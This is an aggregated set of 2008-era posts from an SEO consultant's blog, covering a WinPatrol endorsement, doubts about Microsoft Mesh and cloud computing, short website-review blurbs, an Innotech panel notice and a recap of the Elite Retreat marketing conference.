When I was interviewed by a local television station a few years ago on the dangers of spyware and how users could control it, I recommend the Winpatrol program on the air, and it turned out that Bill Pytlovani (the company owner) had a daughter that lived here in Portland. After seeing the on the news, she phoned him, and he got in touch with me.

Ever since then we’ve stayed in touch on and off, and I remain a big fan to this day. Here’s a link to Bill’s blog, and here’s a direct download link to the free 2008 version of his software, which I am 100% certain will improve your computers performance. Try it, and please comment here and tell me what you think!

Original content from: Search Commander Blog

How I Control My Windows Performance

Your files, email, pictures, documents, music, and basically your whole life, can be instantly accessible from anywhere you happen to be, as long as you have an internet connection.

There are already people doing this with other programs, but Microsoft sees another revenue opportunity, so the’tve launched the Microsoft Mesh website, and sent out some private invitations. Here’s a first look at Mesh by a brave pioneer.

The first thing I thought when I heard this was, “what marketing genius thought up that name?” Can’t you hear the inevitable jokes about people blaming lost information and missed appointments etc. on their “Microsoft Mess”?

The second thing I thought was, “Why would I put even more opportunity for frustration into Microsoft’s hands” ? Personally, if I were to get an invitation to this program, I’m afraid it’s one I would have to decline.

Time after time Microsoft has frustrated us all,  in my case most recently with the incredibly stupid office 2007.   The last thing I would ever want to do is to put even more reliance on the Microsoft operating system or any of their software.

Yes Microsoft was really the innovator that brought computers to the world, but because they were the only kid on the block, they’ve maintained an arrogant indifference to what users have complained about.

For years we haven’t been screaming for more features, we have been screaming for the existing stuff to just work the way it’s supposed to, for crying out loud!

(Did you ever wonder how virus and spyware prevention could NOT be an integral part of the Microsoft operating system? It’s because we let them, and because we had no other choice.)

“Computing from the cloud” means being able to access all of your data in all of your files no matter where you are, as long as you have an Internet connection.  Putting all of this responsibility into Microsofts hands seems like it would be a foolish choice on my part.

I have tried to give myself as much versatility as possible, and through a redundant series of file and document backups, I’m not only able to get back up quickly after disastrous computer crashes (link) but I’m also able to work efficiently from wherever I may be located.

I carry a small portable hard drive of 250 gigs in my laptop case, and I synch it nightly with my office documents folder.

However, that’s not computing from the cloud, and in my case, I’m still in the stone age. When I get back to my office, any changes I may have made to certain documents must be transferred.

Since I still use Outlook in a POP3 setup, any mail I have responded to or not consciously saved for my other PC will not appear at work until I synch things up again with a cable, exporting my sent items folder.

If I were really “computing from the cloud”, I could borrow anyone’s laptop and login somewhere that everything is available. Cloud computing means that no matter where you are, all of your documents, your files, your folders, and someday even your software applications will be accessible wherever you are.

On May 27th, Scott Hanselman will be presenting about cloud computing at the Oregon Computer Consultants Association meeting, which is free and open to the public (You should come).

When we originally discussed organizing a “cloud computing” program, Scott Hanselman came to mind because we knew from an earlier presentation that he had taken his whole family off of Microsoft Office, and put them into Google docs and GMail.

Now however, Scott works at Microsoft, so it will be interesting to see if he’s still an open-source proponent, or if he’s planning t oplace his family into Microsoft Mesh.

Personally, I’m looking forward to the day when I can REALLY be computing from the cloud, and before the end of the summer I intend to have a good handle on Amazon’s web services, and I’ll have a laptop installed with the gOS operating system, exclusively using word processor, spread sheets and presentation software from  Google Docs, I’ll use Google Calendar for all of my appointments, I’ll use the Firefox web browser, and not much else.  As soon as I can have a compatible Android phone,  then I’ll be pretty much done with Microsoft products.

Why don’t I fear placing all of my valuable data in Google’s hands, like I do with Microsoft?  Well, think for a minute… when is the last time you did something at a Google property that failed to work, or caused you to lose time or data?   Exactly.

Original content from: Search Commander Blog

Cloud Computing Yes, but Microsoft Mess? - err, Mesh?

Obviously you can’t pay (gasp) someone to link to you, so what are you offering their visitors that would make it worth their while to link to you?

Are you offering something hilarious? Are you offering a free giveaway of some sort? Does your website have a valuable resource that they can’t do without?

I wrote a post last week that actually began as an e-mail to a client. I’ve placed it on the SEMpdx blog, and I do hope you’ll read it, and see if your imagination doesn’t become inspired.

It’s called Think Outside The Link and while you’re there reading it, I do hope you feel free to Digg, Stumble, and especially Sphinn it as much as you like, all at no additional charge

Original content from: Search Commander Blog

Why Should Anyone Link to You?

This is an overview of a rural Oregon realtor website, but needs many, if not all, of the basic fundamentals of SEO101. When you’re trying to build links for a real estate site you have to give people a reason to link to you, by providing valuable information that their own visitors will appreciate.

Original content from: Search Commander Blog

Portland Oregon Real Estate Site Review

This business is a maker of a software product for retirement communities, yet the search engines seem to be having problems understanding that. This video points out exactly why, with some very basic fundamental search marketing principles.

Original content from: Search Commander Blog

Website Overview for Search - Vigilan.com

This website is basically a Portland, Oregon business directory, but many of the individual pages are not being found in the search engines.

This applies not only to queries for phrases, but for specific URLs to0, which indicates a potential structural problem. This video points out some possibilities why, and also covers some fundamental search marketing issues.

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Original content from: Search Commander Blog

Site Review of Portland Directory PDXStump

The entire conference is scheduled for next Wednesday, April 16th and Thursday April 17th,  but the live SEM Hotseat is Thursday April 17 3:30 PM in Room D135

Three members of SEMpdx,  Benjamin Lloyd of Amplify Interactive,  Kent Schnepp of Engine Works, and myself, Scott Hendison, will be on the panel critiquing participants websites, answering specific questions, and providing specific information to the site owner,  as well as to conference attendees.  The panel will be moderated by SEMpdx president Kent Lewis, of Anvil Media.

While it is not necessary to pay to attend the “Hot Seat” event beyond your Innotech pass,  if you’d like to have YOUR website reviewed, then that is something extra, but at a ridiculously low price…  Register your website to be reviewed here

Original content from: Search Commander Blog

Innotech Portland Website Reviews

Much to my surprise, I found that there were less than a dozen people there, compared to the 35 from the previous day. That’s when I realized that my decision to go back to the room at about 11:30 the night before had been the right one, instead of back to the bar. These people were going to miss the beginning…

Scarfing down my food, I went into the main presentation room, and found that yes, there were a lot of people missing; including some of the speakers. In the end, the day didn’t get going until 8:35. That’s not a complaint or a criticism, just a fact.

We started with a discussion about something I already knew… an added value to the Elite Retreat. Every Tuesday afternoon at 4:30 Pacific Time, there is a conference call with a mastermind group, made up exclusively of elite retreat veterans. As attendees we were now going to be invited to that call. Sweet - Now I have to push back the time for my sons team little league practice

My decision to come to Elite Retreat was made back in December, after talking for over an hour one night to a previous attendee while I was at Pubcon. He had told me that while the Elite Retreat itself was fantastic, that being on those conference calls and really been what changed his life.

First up to speak was Brian Clark from Copyblogger, who did a really great job. In my opinion, he was as well-prepared and as polished a speaker at Andy from yesterday, but he spoke about something I was passionate about.

He’s a former lawyer, and he gave some personal history, then talked about a couple of of his new business models, including Teaching Sells and a new-yet-unnamed venture that’s going to be sort of a direct marketing channel for celebrities.

He reminded us of many the opportunities we have and how things are changing so dramatically. It was a short inspirational bit, that would’ve been well-suited for a keynote speech, and then he launched into some juicy details and specifics on how to improve what we were doing now.

He talked about conversion, and how things are changing, and how to do well with permission based marketing, which is really the way things are headed.

“Conversion has to be baked into every aspect of your business model, and if you’re not thinking about it, you’re probably wasting your time.” Smart marketers are getting into more relationship marketing, repeat sales.

He used the phrase “hope marketing” to define simple one-off sales, but pounded into our brains that permission based marketing gets us way past these crappy 1% conversion rates we’ve come to accept.

He also mentioned that he thinks “some day the word ‘blog’ is going to go away”, and I agree totally. For a long long time I’ve been trying to point out to clients that a blog post is just a web page, and vice-versa, and explaining the “difference” between them is silly Websites ARE becoming interactive.

He talked about Early to Rise to illustrate a good example of giving people what they want, and how it’s (past) time to start thinking about affiliate marketing as a way of market testing to see what people really want to buy. He gave some specific dollar figures related to their numbers and affiliates that were astounding

He then got much more specific, talking about the three phases of a business, which he called attention, authority, and acceleration, giving us everything from a few book recommendations to specific steps about conversion, establishing authority, and even developing an exit strategy and outsourcing.

That’s as specific as I’m going to get about Brians talk… Come yourself next time

Guy Kawasaki was the keynote speaker, and the first thing he said was “I don’t really have anything prepared” - THAT’s when I knew it was going to be good… He talked a little bit about his history and his current projects, specifically one called Alltop.

Although some people have been critical of Alltop, I ‘m not here to debate whether or not it’s an original idea or not. The point is, that Alltop is a needed service, and with Guy Kawasaki’s reach and influence, I suspect it’s going to be huge success.

As Guy pointed out, if you don’t agree, then go call your Mom or Dad and walk them through setting up an RSS reader, and telling them how to find and add her favorirte subject feeds.

I will say that something amazing happened during his presentation… When he started talking about how Altop top was created, he said that he had discovered Pop URLs, which is a similar service, but much more subject specific.

Guy found the idea fascinating - to aggregate the RSS content of others in one place and make it available for easier public consumption. Guy said he looked up who owned PopUrls, then picked up the phone, and called the owner, Thomas Marban.

Recounting his conversation with Mr. Marban, he claims he said, something like “so basically Thomas, the way I see it, your goal is just to sit around in your underwear and cash checks”, whereupon Thomas Marban and replied something like, “Yep!”.

The guy sitting next to me then popped open his Twitter, and tweeted something like - “Popurls.com creator Thomas Marban has a life goal to sit around in his underwear and cash checks”.

Within a span of less than five minutes, he then got an e-mail from Thomas Marban, whom he did not know, and neither is a follower of each others Twitter, saying something like “Who are you and how did you know what my life’s goal is”?

He wrote him back to explain, and within a half an hour, they were Facebook and linked in connected too. I found this to be a fascinating demonstration of the power of the Internet and the global instant reach of Twitter.

Just like always, Guy’s presentation was educational and entertaining, and although I had seen him speak twice before, it was never in a room with under three dozen people, where he talked was one-on-one with us, and was asking for questions. He basically talked until we were out of questions and had nothing else to ask. He’s a remarkable guy, and it was thoroughly enjoyable.

There was some time to kill before lunch, so Jeremy filled it up with some specific details about pay per click, AdWords, and the content network, and then through the floor open to questions for all the panelists.

Although the nondisclosure did not say anything about locking those questions and answers later, in my opinion, doing so would be nothing but stupid. I’ll just say that it was a great impromptu session before lunch, that included participation from all the panelists, from Jeremy’s programmer Dillsmack, and even from a few in the audience.

After lunch Jeremy introduced Aaron Wall, claiming to have “saved the best for last”, and Aarons presentation certainly did not disappoint anyone.

I’ve always considered my biggest strength to be organic search, so this was the session I was really waiting for, and Aaron was a huge draw for me to attend…

Aaron talked about an algorithm anomaly that’s been going on for about four months, and how to specifically take advantage of it. I’m afraid I won’t be talking about it here, sorry.

He talked about being a thought leader in your industry and being uber-creative for expanding your network and getting links. In the few times I’ve heard Aaron speak I don’t think he ever mentioned being creative and social as much as he did here.

He talked about a great article to read called, “Is Justin Timberlake a result of cumulative advantage” and explained the philosophy and concept of “things spread because they spread”.

On the plane ride home, I was “reading” Seth Godins book “All marketers are Liars,” that basically illustrated Aarons point over and over again.

He recommended several books and blog articles, talked about writing persuasively and creatively with your headlines and content, and gave specific examples of other sites and companies doing it well.

Then he got to his Powerpoints with his specific ideas and tactics about mixing up our processes, being less than perfect with your SEO, how Google is getting smarter, and then he talked about some tools, and how to use them wisely.

I took a full page of notes before anyone even started asking questions, and once he began answering questions, he exhausted everyone’s curiosity to their full satisfaction. It was an absolutely amazing way to end the formal presentations.

With three hours left to kill, and much to my surprise (since it wasn’t on the schedule) all the attendees were THEN offered face-to-face time with any or all the panelists.

This was great because there may be certain things you don’t want to announce, or domains you don’t want to mention in front of 32 of the most ambitious Internet marketers in the world.

We were able to sit down face-to-face while each presenter had a laptop in front of him, and show specific websites, ask specific questions, and solve specific problems. These one-on-one sessions when on past the 5 p.m. closing time, and ultimately, even though the room closed, never really stopped the entire two days.

DK scheduled a post conference dinner for us all at an amazingly good restaurant for anyone who wanted to attend, and I’ll talk more about that in a wrap up post. However, that may take another day or two because I have a lot of catching up to do.

For now I’ll just say that it ranked among one of the top dozen meals I’ve ever eaten in my life, and was a perfect way to wrap up three incredible days with some extraordinary people.

Elite Retreat Day 0
Elite retreat Day 1

Original content from: Search Commander Blog

Elite Retreat 2008 - Day 2